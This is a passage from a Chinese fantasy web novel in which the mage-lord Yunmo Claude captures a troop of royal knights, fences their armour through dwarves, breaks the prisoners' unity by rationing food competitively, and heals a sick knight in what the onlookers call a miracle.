他们不是没想过把对方逼出来，可是这位该死的克劳德领主虽然年轻，心态却异常老练，脸皮也厚，无论他们怎样口出污言秽语，肆意抹黑，对方都像聋了一样没有任何反应，甚至连施法速度都没有一丝滞涩。 威廉简直想不通，自己都辱骂了克劳德家族的祖祖辈辈，辱没了她的荣耀，对方竟然依旧无动于衷？！ 你是贵族啊！不要脸面的吗？！ 要换做是他，早就冲上去跟对方决斗了！ “啊！” 又是两人坠马。 追在他们身后的藤蔓如有生命一般扑上去，像丢垃圾一样吊着他们的四肢丢得远远的。 已是强弩之末的骑士们被这么一摔，顿时昏死过去，哼都没哼一声。 幸运的只是简单皮外伤，不幸的骨折、断腿也大有人在。 但是那些马匹的待遇就好多了。 藤蔓收敛尖刺，从它们的腹下绕过，小心翼翼地卷起，不让它们伤害到自己，像对待珍宝那样平稳迅速地托到了围墙之内。 侮辱性太强，抽空看了一眼的威廉眼前一黑，差点一口气没上来。 而墙内，玛雅夫人和霍莉正带人美滋滋接收、清点入库。 天呐天呐，发财了发财了！ 这么多健壮的骏马！ 甚至连额饰都是银子的！ 哦哦，这匹上还镶嵌着宝石！抠下来抠下来！ 围墙内空气清新，周围的人也没有任何敌意，地上满是柔嫩多汁的青草，附近还有潺潺流动的清澈小河，马儿们疯跑了一会儿，很快就安静下来，开始报复性啃草平复心情。 不远处的阿茜带人救治伤员，熟练地包扎好，再灌下事先准备好的药剂。 这些药剂都是云漠空闲时练手做的，一般也用不到，都存起来，如今总算派上用场。 云漠亲手制作的药剂很有效，不过为了降低成本，没有任何“添加剂”，味道都比较可怕，干呕声此起彼伏。 部分伤势较轻的战士看得脸都白了，吞着口水结巴道：“我，我感觉自己已经痊愈了，真的。” “其实我的伤也不是那么重，回家养几天就好了，不要浪费这么珍贵的药剂了吧？” 妈妈呀，那谁都快把胃吐出来了！ 同伴受伤本来让人心疼，可看她们一个个不争气的怂包样子，阿茜又觉得窝火，也不废话，抓羊一样按住，膝盖一顶就让对方动弹不得，一手卡住腮帮子强行掰开嘴，另一只手弹飞药剂瓶塞，直接灌下！ “唔唔唔咕噜噜……”伤员挣扎未果，绝望地吞咽，眼角滑过一串清泪。 抬走，下一个！ 阿茜抓羊杀牛是一把好手，一套流程熟练得不行，没一会儿就把人灌完了。 四下看看，很有点尚未来得及施展就结束的意犹未尽。 战斗已经持续了将近一刻钟，云漠倒也没有像威廉想得那么轻松，好吧，她确实也不累…… 这是云漠第一次经历如此短时间内有如此大规模输出的真实战争，一下子就感觉到了与日常练习的不同。 练习都是有计划的，失败也没有任何不良后果，没有任何压力，首先心里就很轻松。 但实战则不同。 你面对的是另一波非常有经验的对手，他们机动灵活、随机应变，不仅要现场计划输出量，更要精准定位落点，体力、脑力、精神力同时疯狂输出，消耗十分惊人。 截至现在为止，云漠的精神力已经耗尽过一次，但……谁让她还是一名不错的药剂师呢？ 云漠身边堆着满满一箱精神力恢复药剂，跟屁虫小河一早就打开，插好吸管递到她嘴边，不等精神力见底就一口气吸光，立刻原地复活无缝衔接。 喝的时候云漠还有点肉疼，啧，原本都是为了以后绘制空间传送阵准备的，没想到这会儿倒是提前用上了。 一瓶挺贵呢！ 非从这些该死的混蛋身上赚回来不可！ 至于威廉骂的那些话，确实不太好听，但被骂会少块肉吗？ 一名合格的领袖最先要学会的就是控制自己的情绪，绝对不可以被敌人牵着鼻子走。 至于偷袭卑鄙，卑鄙怎么了？兵不厌诈，这是老祖宗的智慧结晶！ 而且我是魔法师啊，魔法师懂吗？干的就是远程攻击玩偷袭的活儿！ 又过了会儿，威廉本人和骑的马速度都明显变慢，耐心也渐渐耗尽，周围忽然安静下来。 长时间的疯狂后骤然迎来安静，威廉非但没有放松，反而迎来更大的紧绷。 太奇怪了！ “大人，停住……啊！” 另一名还在马背上的骑士却濒临崩溃，立刻高兴地喊起来，可不等他喊完，就见威廉附近的地面一阵涌动，一张灰绿色的大网直接将威廉连人带马整个包裹进去！ 如果是在一开始，威廉或许能躲开，但现在的他和座驾都疲惫不堪，根本来不及反应，只觉得一阵天旋地转，人跟马挤在一起，再睁眼就到了天上。 不仅如此，那“网兜”上甚至还有细细的绒刺，看似不起眼，却能轻易划破衣物，刺破肌肤。 奇怪的是，伤口一点儿都不疼，威廉心中升起一股不妙的预感，下一刻便陷入昏迷。 第88章 赃物 威廉是被冻醒的。 他的脑袋仿佛被人拿着锤子狠狠打了好几下，又痛又胀，睁眼就晕眩得不行，接连发出干呕。 远处不断有高低起伏的呻／吟传来，中间夹杂着某种兴高采烈的欢呼和笑声。 非常分裂，壁垒分明。 威廉努力睁开眼睛，这才发现自己在一个大藤蔓网兜里摇摇晃晃，晕眩越发明显，体内一贯活跃的斗气也如霜打枫叶，奄奄一息，于是赶紧闭上眼睛缓神。 这个网兜明显不是最初俘虏他的那一只，因为没有尖细的绒毛，但是更柔韧更结实，凭他现在的状态根本无法挣脱。 威廉突然觉得好冷，下意识抱住自己。 摸到身上才发现不对劲，只剩内衣。 嗯？ 铠甲呢？ 我那矮人族精心打造的镶银铠甲哪儿去了？ 远处草地上堆着的那一座银光闪闪的小山又是什么？ 怎么这么眼熟？ 哦，是我的铠甲。 啊，是我的铠甲！ 一群穿着布衣和长袍的贱民正兴高采烈围在一起，撅着屁股蹲在地上，对刚从战败者身上扒下来的战利品挑挑拣拣，评头论足，时不时在对方身上比两下，说哪个可以自己留着用，哪个可以拿出去换钱。 而这一切的始作俑者，云漠·克劳德就在一旁翘着二郎腿，坐在高高的藤椅上，歪着身子托着下巴，笑眯眯看着眼前的一切，时不时发表几句见解，引来阵阵欢呼。 她随意坐在那里，神色从容而自信，就像一个占山为王的女土匪头子。 她的周围全是热情澎湃、目光灼灼又忠心耿耿的狗腿子，无条件信奉她说的每一句话。 愤怒和羞辱重新支配了威廉，热血瞬间涌上大脑，加重了晕眩，他忍不住发出一声有气无力的干呕。 干呕声引来土匪头子的注意，她爽朗地笑了一声，“瞧啊，我们尊贵的客人醒啦。” 她这份堪称坦荡的无耻令威廉想要破口大骂，然而真正开口时才发现自己全身虚弱无力，显然非常不对劲，“你对我下了魔药？” 不仅无法调动斗气，甚至就连最基础的体能也一落千丈，手脚发软。 太卑鄙了！ 初春的傍晚相当寒冷，衣衫单薄的威廉忍不住打了个哆嗦。 云漠大笑，“你在说什么傻话？这算什么魔药！勉强算是某种植物的一点口水罢了。” 只不过这种“口水”有相当的麻痹作用。 威廉用能搜刮到的所有最恶毒的语言诅咒她，其中重点谴责了她这种扒衣服的恶劣行径。 云漠掏掏耳朵，“就这？” 温室大棚里长出来的娇花哪里经过社会的毒打？ 骂人都没什么攻击力，唉。 而且她自认已经算厚道的了，还给留了内衣呢！ 就威廉身上那种细腻柔软的上等棉布，一看就是高级货拿出去，在外面的集市上能换不少钱呢！ 她都不为所动，给留下了！ 简直太厚道了！ 辱骂未果的威廉马上发现了另一个令他暴怒的情况： 那该死的低级税务官波尔竟然完好无损，还在远处就餐！ 重点是他身上的衣服一件都没少！ 果然是勾结的陷阱！ 威廉饱含愤怒的视线是如此灼热，仿佛两团燃烧的火焰直直砸入波尔的背心，让他后脑勺发凉，浑身战栗，一个哆嗦挺直了。 但波尔不敢回头，只想哭。 最初他确实非常感激云漠精准控制战场，在一片混乱之中还把自己完整地剩出来，对此周围一片缺胳膊断腿的，自然十分庆幸，甚至带着点感激。 可是当一切平复过后，他不免又有些怨怒： 如此明显的区别对待，哪怕白痴也要认定有鬼了！ 当初他的确和云漠进行了不可告人的暗中交易，渡过难关，但他万万没想到，那交易竟然还有这样的后续！ 事到如今，就算他浑身是嘴也说不清了。 就算现在不死，侥幸回到王国也一定没有好下场。 云漠当然发现了波尔的这种情绪变化。 她没有生气，只是觉得很有趣，所以选择直白地当面戳穿。 “恕我直言，波尔先生，你对我的怨恨毫无依据，所依仗的不过是欺软怕硬，是懦夫的行为。”云漠用最平静的表情说着最残酷的话，将波尔仅存的最后一块遮羞布撕下，露出血淋淋的残酷现实，“造成这一切的元凶应该是奥菲三世，那位尊贵的陛下，应该是特意指派你来的税务大臣，为什么是你？为什么一定是你呢？难道不是因为你最好欺负吗？如果他们派了别人来，你照样可以做你的税务官，舒舒服服的过日子，就不会有现在的左右为难了。” 波尔脸色煞白，“不，我没有这样的想法，您误会了……” “哦？”云漠高高扬起眉峰，“你之所以不敢怨恨他们，无非是长久以来的威慑和恐惧，让你本能的不敢抗衡；又因为我不过区区一个落魄贵族之后，无依无靠，势力单薄，好像跟你的处境也没什么分别，是可以拿捏的一方，所以才让你不惜欺骗自己，选择将怨恨发泄在我身上，对吗？” 被戳中心事的波尔顿时汗流浃背，脸上又红又白，不敢承认，却也不敢否认。 不得不说，之前他确实是这么想的，但是现在对方的一番话却成功提醒他记起一个刻意遗忘的实事： 站在他眼前的可不是什么无依无靠的孤女，落魄贵族之后，谁都可以拿捏的软柿子，而是新阿索城的城主，强大的木系魔法师、药剂师。 漫长的沉默过后，波尔仿佛失去了全身的力气。 他虔诚地忏悔，恳切地求告，“领主大人，请原谅一个懦夫一时迷茫，但我实在牵挂家中的亲人，我的妻子，我的年幼的孩子，她们什么都不知道……” 消息一旦传回王都，即便他可以侥幸存活，他的家人一定会成为替罪羊。 “哦，多么真挚的感情啊，真是令人动容。”云漠左手托着下巴，没什么诚意地敷衍道，右手指尖不知什么时候催生出一朵鲜红欲滴的玫瑰花，娇嫩的花瓣在春风中微微颤抖，漂亮极了。 “很简单，只要这些人回不去不就行了吗？” 她漫不经心的说。 意识到她究竟在说什么之后，波尔眼睛瞪得大大的，“不不不，您不能那么做！” 最关键的是就算把这些人杀了，消息也瞒不住呀。 只要他们没有在限定时间内回去，傻子都知道这边出事了。 但是云漠的眼睛瞪得比他还大。 “天哪，多么可怕的想法！波尔先生，我真的没想到您竟然是这么残忍的人！” 波尔：“……哈？” 不是你说不让他们回去的吗？ 意思不就是要杀人灭口吗？ 云漠长长的叹了一口气，痛心疾首道：“盲目杀戮是不可取的，时间久了，你的身心都会被魔鬼支配！” 波尔：“……啊。” 所以跟我有什么关系啊？ 既然没有这样的想法，为什么要说那么容易让人误会的话！ 现在搞得好像我才是刽子手一样。 “那么多强壮的体魄，浪费了多可惜呀！”云漠叹息道：“种地开荒，砍树，劈柴，做什么用不到呢？” 这完全都是送上门的壮劳力嘛，不用白不用，用一天算一天。 至于波尔渴求的事情，云漠非常慷慨的给予这位老朋友足足两种选择： “我可以协助放出风声去就说你已因为某种原因死去，那么王国上下将不会为难你的家人。或许出于怜悯，还可以给他们相应的补贴，帮助他们继续生活下去。不过你们今后恐怕就不能再见面了，因为如果他们知道你还活着，早晚有一天会露出马脚，届时必然迎来疯狂报复。 第二种嘛，就是赶在事发前让人进城，把你的家人运来，你们就此与王国决裂，在这里生活。” 对波尔此人，云漠还算欣赏：足够机灵，也识时务，又有相当的算术和统计技能，是新阿索城未来发展需要的人才。 不过前提是斩断他当下这种摇摆不定的心绪。 愿意来自然最好，如果实在不愿意也不强求，反正新阿索城的姑娘们总能成长起来，慢慢培养就是了。 就是前期需要她和玛雅姨妈身兼数职，会很累。 果然，波尔立刻陷入挣扎之中。 正如云漠所说，早在税务大臣推他出来时就已经没有退路了。 王都的生活固然令人怀念，但细细想来，他在那里也不过一个小人物，空守着遥远的祖先的所谓荣誉和辉煌，其实什么都没有…… 可一旦放弃，就意味着一切都要从头再来，而且他已经背叛过一次，恐怕再也没有第2次试错的机会…… 安逸的生活过久了，人就会变得胆怯，不想、不愿、也不敢承担任何风险。 但现在波尔面临的情况非常危机，必须尽快做出决断。 这是个很重大的抉择，云漠表示理解，所以没有催促，只不过第2天就亲自挑选了战利品中比较贵重的银饰和宝石，带去集市上出售。 因为云漠暂时还不想太快走漏风声，所以只找了两个甜品屋的熟客尝试脱手，但对方一眼就认出这肯定是某些高级贵族的私人物品，都表示是烫手的山芋，不敢接。 然后他们看云漠的眼神都不对劲了。 这位年轻的领主背地里到底干了什么呀？！ 怎么会拿这些东西来卖！ 下一次会不会轮到我们？！ 无奈之下，云漠只好去了趟矮人铁匠铺。 人类之间难免有所顾忌，但矮人不同，那是为了利益和财富都能六亲不认的物种，最擅长非法勾当。 这回算是专业对口了，那些矮人们一看这些赃物，眼珠子都亮了，差点当场流下口水来。 “啊，我亲爱的朋友，乐意为您效劳！” 矮矮胖胖的铁匠用力搓着粗糙的大手，满脸堆笑的说。 矮人族的锻造和切割技艺举世闻名，任何金银珠宝到了矮人手中都能变化模样，哪怕再送回原主手上也认不出来。 当然，只需要付出一点点酬劳。 第89章 饿 云漠打算把带来的宝石、银饰等贵重品都换成兵器，铠甲很精巧，还有各种隐藏机关，可以只改改尺寸，作为奖励和激励发给优秀的战士。 至于其他人，云漠倒不打算买铠甲。 一个是太贵，二来现阶段的冷兵器杀伤力其实挺一般的，她利用魔法制作的藤甲就足够抵挡。 事实上，绝大多数地方武装的兵器配置还不如新阿索城，她手下这批人可是人均铁制兵器呢！ 如果藤甲抵挡不住的，基本就是骑士、术士等高阶职业者，遇到这样的对手，就算铁甲也无法阻挡，得她亲自出马，就不用多此一举了。 矮人爽快应下，并试图进一步推销，被拒绝后略有遗憾，但因为跟云漠打过不止一次交道，知道对方不是会轻易被说服的人，只好暂时放弃，让里面的同伴点燃炉火，开始锻造。 锻造需要高温，普通火焰无法满足需求，矮人族中掌握火系魔法的成员便结合炼金术和铭文打造精巧的高温锻造炉。 这种火炉的火焰可以轻松破1000℃，甚至更高。 周围温度立刻飙升，空气都开始扭曲。 游离的水系魔法元素瞬间消散，云漠顺势退出，一直退到几十米开外，那种皮肤被炙烤的感觉才远去了。 铁匠铺的老板，矮人红焰笑嘻嘻跟出来，“朋友，这点家底可不足以守护一座城池呀！” 红焰一眼就看破那些赃物的来源，很简单，那几件铠甲就是矮人的手笔，内部还有特殊印记呢！ 这可是丹茅王国骑士团的装备，闹到这一步，奥菲三世绝不会善罢甘休。 他可不是什么宽宏大度的仁慈君主。 考虑到这位克劳德领主的倔劲儿，红焰非常肯定，这片大地将再次迎来战争。 人族之间的内战。 对战场范围内的平民而言，战争自然不是好事，但……矮人喜欢只发生在别的种族内部的战争！ 战争意味着死亡，同样带来巨大的损耗，人类将需要大量兵器补充、休憩。 哦，还有那些残破的战场，矮人很喜欢去里面翻翻捡捡，一定能找到好东西。 哈哈，最好是直接把人类的城池甚至是国家打没了，好东西就都是我们的啦！ 这是送上门来的财富！ 红焰的小眼睛里疯狂闪烁着贪婪的光，简直比炽热的炉火更猛烈。 云漠再次理解了精灵族对矮人的嫌弃，下意识皱了皱眉，冷笑道：“我的朋友，希望你明白，人类是很脆弱的生物，可能打着打着就发了疯，做出烧杀抢掠的事情来，相信你也是可以理解的，对吗？” 零元购谁不喜欢？ 人类更喜欢！ 真到了那时候，邻居就是我“粮仓”！ 红焰：“……” 矮人的幻想戛然而止，邪恶和贪婪流水般褪去，虚伪的友善和关切卷土重来。 “啊，我亲爱的人类朋友，战争真是太可怕了，真是叫我浑身发抖，不如我们说点儿别的吧。看，那边的花儿多么好看啊！” “……那是臭草。” 看着矮人脸上残留的恋恋不舍，云漠脑海中灵光一闪，突然冒出来一个略有些阴损的主意。 “真是可惜，只靠我手下那点人的话，似乎并不能为你带来太多利益。”云漠故作惋惜的叹了口气。 红焰诧异地看了她一眼，仿佛在看一个大脑缺失的白痴，这不明摆着的吗？ 光靠那几百号人的破铜烂铁修修补补才能挣几个钱！ 无中生有才是发家致富的最佳途径。 “我的朋友，你听过入股投资吗？”云漠忽然换了副表情，笑眯眯的说。 红焰不由的打了个哆嗦。 这太诡异了。 刚刚你不是还不许我多想吗？ “什么骨？” 但是血脉中奔涌的对于金钱财富的追逐，本能让红焰忍不住追问了一句。 云漠眼珠一转，热情邀请道：“朋友，外面站着多不好呀，不如去我的树屋里坐一坐吧，那里还有许多可口的点心和饮料呢。来点热乎乎的黄油酸梅挞怎么样？” 红焰隐约觉察到她的意图，故意大声说：“老天，你到底想干什么？我们可是热爱和平的种族，率先签过停战协议的，绝不会为了一点点金银珠宝就对人类贸然出手！” 云漠：“……” 你就吹，可劲吹，历史上还不知道有多少次战争是你们主动发起的呢，热爱个鸡毛的和平。 “来吧，我的朋友，看看外面的花草长得多美丽呀！” 红焰：“……” 矮人的表情活像便秘半个月却始终找不到解决方法的苦主，面容都有些扭曲了。 “……可你刚才还说那是臭草。” 云漠：“……咳。朋友，你还是太狭隘了，难道你不觉得这世上的花草树木天地万物存在一定有它的道理吗？我们要试着打开心胸，努力去欣赏所有事物的真正美感。” 不得不说，当领袖久了，脸皮厚度也磨出来了，如今这种睁眼说瞎话的功夫日益精进，她脸都不带红一下的。 红焰：“……呸。” 就知道跟人类社会的游吟诗人混久了没好处。 说出来的话完全就为了骗鬼。 两人各怀鬼胎，都挂着一副虚伪的笑容，相互谦让着进入树屋，在无人知晓的室内进行了一场充满着铜臭味的低俗谈判。 云漠的想法非常简单粗暴，但如果能够顺利实行的话，将取得意想不到的效果，很大程度上或许可以直接扭转战局： 根据各组停战协议，外族不得擅自插手其他种族的内战，所以哪怕云漠跟丹茂王国撕的头破血流，打得血流成河，矮人族也不能参战。 但这里有个漏洞，“不参战”，不代表不可以提供技术支持。 现阶段的新阿索城确实拿不出太多对矮人族而言足够有诱惑力的筹码，但丹茂王国不一样呀。 在遥远东方古国，曾有一句富有哲理的老话：烂船尚有三千钉，说的就是底蕴深厚。 无论丹茂王国现在怎么衰落，好歹也曾经是煊赫一时的国家，数量庞大的财富就像海绵里的水，随便一挤便哗哗直流。 云漠承诺，如果矮人能够在未来她与丹茂王国的战争中提供足够的技术支持（无需正面表态），那么双方就可以私下签订分赃协议，承诺根据比例向矮人族交付财宝。 当然啦，这个协议具有相当的驱动力，因为前提就是能够打赢，如果打不赢的话，矮人族的前期投资将付诸东流，半个子儿都回不来。 矮人族对这种前期就需要大量投资的贸易模式倍感兴趣，极其谨慎。 作为擅长坑人的祖宗，其实最怕被别人坑，红焰没有当场答应下来，但绝对心动了。 计划不如变化快，云漠被迫挤压了对空间传送阵的研究，开始专注于绘制魔法卷轴、催生麻药、制作精神力恢复药剂等。 她充分分析了新阿索城和丹茂王国的优劣势： 哪怕丹茂王国已经没落，毕竟是个国家，论底蕴，新阿索城直接没法儿比。 而且根据王国法律，各地领主和大贵族有义务贡献私兵，协助作战。 但丹茂王国毕竟已经没落，对各地的实际控制力减弱，一旦发出号召，会有多少人响应？实际战斗力如何？毕竟消耗的可是领主个人的私库！ 而且就算响应，曾经的各国各地联合作战也曾以血淋淋的事实演绎出联合作战的弊端： 各怀鬼胎，一盘散沙。 甚至这次奥菲三世绝不会要对付的可不是什么邪恶的异族，而且与他们同样出身的贵族！ 这么看来，好像也不那么可怕。 不过新阿索城仍有致命弱点：人少。 哪怕人人都是精兵，把符合条件的居民全部抽调出来，可能也就几百人而已。 同样一场战争，或许丹茂王国可以承受2000人的消耗，可200人的损耗就能把新阿索城压垮。 哪怕有矮人族的技术和装备支持，也需要活人去实施，难免有伤亡。 所以云漠需要提前布置，尽可能多的利用魔法、药剂、技术等远程攻击手段，提前消灭敌人的主力。 云漠琢磨怎么消灭丹茂王国主力军时，威廉等人已经实现了三天饿九顿的光辉目标。 云漠并非什么杀人如麻的变态恶魔，难得绑了这么多青壮年来，这就是完美的劳动力呀，就琢磨怎么能利用起来。 春天万物复苏，正是干活的好时节，翻地、劈柴、采野果、挖野菜、修水渠……可以说只要想，就会有干不完的活。 但威廉他们不想。 这些含着金汤匙出生的贵族老爷们这辈子受过的最大羞辱和痛苦，恐怕就是现在被俘虏。 什么干活？不存在的。 他们连手绢都没洗过一条。 所以当玛雅姨妈遵循云漠的指示要求这些人接受劳动改造换取食物时，遭到了激烈的反对和抵抗。 不过云漠很有先见之明，压根就没给这些家伙吃过饭，这会儿都快饿死了，释放出来的反抗比春风拂面强不了多少。 年纪最小的小河对此十分鄙夷，“这些大人好不要脸呀，明明就是敌人被我们打败了，还不肯干活，竟然还想吃东西！真是又馋又懒。” 玛雅姨妈自诩热爱和平，面对这种抵抗，并不恼火，更没有借机发泄不满。 “啊，春天到了，天气这样好，不如就在外面做饭吧，又舒服又亮堂。”她温柔的笑着，这样提议说。 这个提议得到了大家的一致赞成，于是新阿索城各处食堂都立刻搬到了俘虏附近的空地上，开始露天做饭。 于是等两天后，云漠从树屋那边拿着火热出炉的“与矮人族暗中勾结协议”回家时，就看见一群衣不蔽体的俘虏边哭边充满感激地啃着梆硬的干面包，然后争先恐后的跑去砍柴。 瞧啊，没什么是饿几顿解决不了的，如果不行，那就再饿几顿。 第90章 扩散 一开始，对威廉等人的“改造”并不顺利，这些含着金汤匙出生的贵族老爷们始终有个坚定的信念，就是他们生而高贵，天生就该高高在上。 干活？ 这辈子都不可能干活！ 所以看到同为贵族出身的领主克劳德竟然跟这些贱民有说有笑时，威廉等人都有种发自内心的鄙夷和同阶级背叛的耻辱。 “呸，真是自甘堕落的混蛋！” 不屑，更加自诩高贵。 仅此而已。 可当看到那些贱民都能吃上松软的烤面包、金黄流油的大块烤肉，甚至部分人还能奢侈的涂抹黄油，往嘴里大口大口塞某些连他们也叫不出名字，但香得吓死人，一看就无比美味的食物时，饿了几天的骑士团崩溃了。 作为战败方，哪怕不甘心，威廉也勉强可以忍受“虐待”，因为经受考验也是骑士精神的一环。 等重获自由，这段经历甚至可以作为他对国王陛下和骑士团体的忠诚的证明，成为向上晋升的资本。 但贱民都比自己逍遥……这点真的忍不了。 她们凭什么吃白面包，还能涂黄油？！ 衣服上甚至还没有补丁！ 这简直比将他们的荣耀丢到脚下踩更过分。 已经饿了好几天的威廉有气无力地开骂，因为过分激动，面颊上泛起不正常的红晕，一贯引以为豪的金发也油腻腻的，一缕一缕胡乱贴在头皮上，活像个流浪汉。 “克劳德，你这叛徒，你所做的一切都是对神圣王国的玷污，对骑士精神的亵渎！” 负责看守的阿苗眨眨眼，好心提醒道：“可是，我家领主大人不是什么骑士哦。” 所以根本就没什么狗屁的骑士精神！做什么都是对的！ 威廉一噎，差点一口气没上来。 他半靠在墙上，狠狠瞪着她，又休息了一会儿才继续骂道：“退下，你这不知羞耻的贱民……啊！” 话音未落，阿苗就抬手给了他一拳，“呸，狗东西！” 领主大人说过，说废话没用，关键时刻还是得看拳头，道理都是打出来的。 阿苗这一拳不仅打懵了威廉，也让周围一直没动静的其他骑士彻底崩溃，一群人对着她辱骂起来，说她竟然敢对贵族出手，应该立刻拖出去砍头。 阿苗人不大，但这几年一直吃肉、锻炼，中气十足，非但不害怕，还立刻叉着腰跟他们对骂起来，“什么狗屁贵族，什么生而高贵，其实只是一群傻乎乎的帮凶而已！” 嗨，道理确实是打出来的，但这些人看上去就像秋天的落叶一样萎靡不振，阿苗真是担心把人打死了，所以还是勉为其难的动动嘴皮子吧。 又有骑士反驳，说一切优待都是他们应得的，因为整个国家都建立在贵族祖先们的功勋之上。 “你们这些贱民不过是依附在我们祖先身上的虫子，不比一粒灰尘更重要，理应心怀感激……” “啊，我懂了！”阿苗把手一拍，“那如果我们干掉你们这些好吃懒做，只会对普通人耍威风的败类，建立一座崭新的城市，我不就也可以摇身变为贵族？！” 骑士团一愣，竟然觉得有点道理。 这话虽然不大好听，但任何一个国家和势力基本都是这么来的，本质并无不同…… 很多事可以做，但从别人口中说出来时，就显得不那么理直气壮。 威廉干脆气血翻滚，昏过去了。 阿苗的诡辩成功让俘虏们安静了几天，但玛雅管家对此很不满意，甚至有点忧心忡忡： “春天很快就要过去了，我们需要很多人手……” 虽然这群人每天只维持饿不死，消耗不多，但光吃不干，还要派出人手看守，简直可恶。 新阿索城不养闲人，这是铁打的准则，没人可以破坏！ 任何一位合格的管家都没办法对这种只出不进的无底洞项目无动于衷！ 晚饭时玛雅姨妈向云漠诉说了烦恼，希望她可以尽快解决。 “老天，你简直不知道我忙得四脚朝天时，一出门发现那么一群身体强壮却脑袋坏掉的白痴们闲得发慌是什么感受！” 云漠失笑，“这个不难，明天当将这些人分成几组，傍晚时单独分给其中一组食物，其余的都饿着……” 她最近忙于研究火热出炉的“赐福”技能，简直到了“两耳不闻窗外事”的地步，竟然迅速将威廉等人忘记了！ 不过姨妈说的有道理，有壮年劳动力不用，那是极大的浪费，一味拖延不是办法，还是要尽快解决才行。 这话可不能说！ 于是第二天，阿苗就忠实地执行了领主大人的伟大举措： “从今天起，食物不再平均分配，都交给胜者，要怪就怪你们昔日的朋友和同僚吧！这一组今天很安静，很有礼貌，所以你们可以吃得多一点。” 无比强烈的对比效果惊人： 话音刚落，其他组的成员们都对这组人怒目而视，而后者先是一愣，然后竟迅速呈防御姿态，将食物保护在了内侧。 一切都快得不可思议，根本没经过思考。 持续多日的饥饿几乎让他们沦为野兽，什么上下级，什么骑士荣耀，什么贵族脸面，统统被抛到脑后。 人类永远会对没有拥有的东西蠢蠢欲动，也只有富有的人才会说金钱无用，正如没饿过的人永远都想象不到饥饿的可怕，只会说“忍忍就过去了”一样。 那是一种从身体内部，身体深处蔓延开来的，灼烧一般的痛苦，这痛苦让人无法集中精神，甚至无法睡眠，只能挣扎着体会内脏分泌酸水、自我吸收的恐怖，每一秒都是煎熬…… 饥饿让人烦躁，让人发狂，足以让人抛弃一切文明，被本能支配。 分化比想象得更容易。 第二天阿苗再去时，再次强调各组竞争的机制，并刻意声明要看整体表现，并告诫大家不要拖累队友，然后就如愿发现骑士团看向彼此的眼中多了几分敌意。 威廉也不例外。 一贯养尊处优的他远比常人更加敏感，对苦难敏感。 他自诩礼仪完美，更认为前途要紧，一位成功人士有必要为了大事而忍耐一时，可放饭要看小组整体表现，如果一个人太拖后腿，势必影响其他人。 所以想要结果好，不仅要保证自己不犯错，还要尽量约束队友…… 换句话说，哪怕阿苗不去，不亲自下场管理，骑士团内部就已经自然生长出“叛徒”。 然后等该小组连着吃了两天半饱，觉得日子有盼头时，阿苗再次宣布改变规则： “因为你们的攻击严重影响了我们的春耕，还要供养你们这些闲人……反正这么下去大家都半死不活的，不如让几个人舒服些，从今天起，个人竞争获取食物……” 曾经习以为常的东西失去确实令人难熬，所以失而复得的幸福格外珍贵。 而当被告知，失而复得的幸福将可能再次失去，落败方可能面临“死亡威胁”时，没人能保持冷静。 看着短短几天就变成一盘散沙，甚至连最基本的体面都无法维持的骑士团，前任税务官波尔浑身发毛，看向云漠的眼神中都带了惊悚。 “我必须要承认您的强大，克劳德女士，也正式拜托您将我的家人带来此地。”波尔重重吐了口气，郑重行了一礼，“不过恕我直言，如果只是这样的话，您可能依旧无法直面王国的攻击。” 这套控制人心的手段确实很高明，也很可怕，但很明显需要时间去实施。 可战争与此截然相反：简单、粗暴、迅速，像一场史无前例的飓风，会在最短时间内席卷并摧毁一切。 想依靠现在这种方式削弱丹茂王国的力量，真的太慢了，恐怕来不及。 “多谢提醒，”云漠笑起来，眉宇间洋溢着自信和从容，“既然如此，波尔先生不妨再为新阿索城多做点贡献吧，毕竟以后这里也会是你的家不是吗？” 她笑起来很好看，并非美色误人，而是肆意的生机和野性，如暴雨后被冲刷一新的浩瀚森林，生命力扑面而来，令人无法抵挡。 “您希望我做什么呢？”波尔觉得自己被击中了，晕晕乎乎的说。 于是很快，云漠就知道了大量王国骑士团的内幕，包括并不仅限于成员们的出身、喜好，乃至部分不便对外透露的肮脏秘辛。 事实证明，人类八卦的天性与时间和空间无关，也与性别和职位高低无关。 波尔知道的真的太多了。 正如之前说的，丹茂王国坚持国王专制，并在多年前就禁止一切神明信仰，如此雷厉风行的举措固然在某些时期内巩固了王国统治，并带来远超神明信徒泛滥的地区的执行力，却也埋下不少隐患： 在这个科技并不发达的时空，很多事情确实是单纯的人力无法达成的。 而当人力无能为力时，幻想就成了寄托。 骑士的确强壮，但毕竟只是肉体凡胎，于是在身心双重打击和持续压迫下，威廉等人落败的第七天，几名骑士陆续病倒，伴发高烧。 高烧是会死人的。 可经历了前面这么多天生不如死的生活后，大家不禁开始担心，这里有人会在乎俘虏的死活吗？ 幸运的是，克劳德来了。 波尔永远记得那一天，飘着细雨的一天，阳光却出奇璀璨，让整个世界都泛着奇异的矛盾。 年轻的领主小姐翩然而至，她的笑容干净又真诚，眼神明亮而坦率，亲自为病患擦拭满是污秽的面颊，并将温暖干燥的手放在对方的额头上，用特有的清脆而爽朗的声音说：“可敬的战士，迷途的羔羊，我怜悯你，宽恕你，你将重获健康……” 最初谁也不知道到底发生了什么事，而被高烧弄得迷迷糊糊的病患更不明白她到底在做什么，只是奄奄一息，无力挣扎而已，只能任对方施展。 他放弃了抵抗。 他去年才刚加入骑士团，或许是能力不足，又或许对陛下不够敬重吧，年轻的骑士默默地想。 妈妈，可能我要死啦…… 可对面女士同样的话重复几遍之后，神奇的事情发生了： 陌生的温暖忽然降临，如冬日温泉游走全身，滋润着每一寸干涸的身体！ 骑士麦特感受到了久违的轻松！ 他错愕地睁开眼睛，仿佛能亲眼看到病魔褪去…… 他的身体重新变得轻盈，不难受，至少不那么难受了！ 天呐！ 麦特的眼睛一点点睁大，里面如春汛来潮一样，渐渐蓄满了震惊。 所有人都亲眼所见，这位女士没有使用任何药剂和魔法，但她就是治好了麦特！ “天呐，这是神迹！” 短短几分钟，麦特就像变了个人似的，直接从地上蹦了起来。 他神采奕奕，中气十足，甚至脸蛋也有了健康的血色，要不是身上依旧臭烘烘的，简直不像个经过多日摧残的倒霉蛋！ 神迹？！ 久违的词汇袭来，直接将威廉等人打了个措手不及，竟然没能反应过来。 神迹……是什么？ 对终生生活在丹茂王国的人而言，国王就是唯一的真理，“神”这个字眼真的太陌生了。 波尔更是因为空前冲击而面色煞白，整个人都像石像一样原地封冻了。 神迹，神？！ 克劳德女士是神？！ 不不不，这不可能！ 同样的问题也在骑士团内部泛滥，反对党以威廉为首，坚决拒绝承认云漠已经凝聚神格。 大部分人尚在混乱之中，整个人都快崩溃了，完全不敢表态。 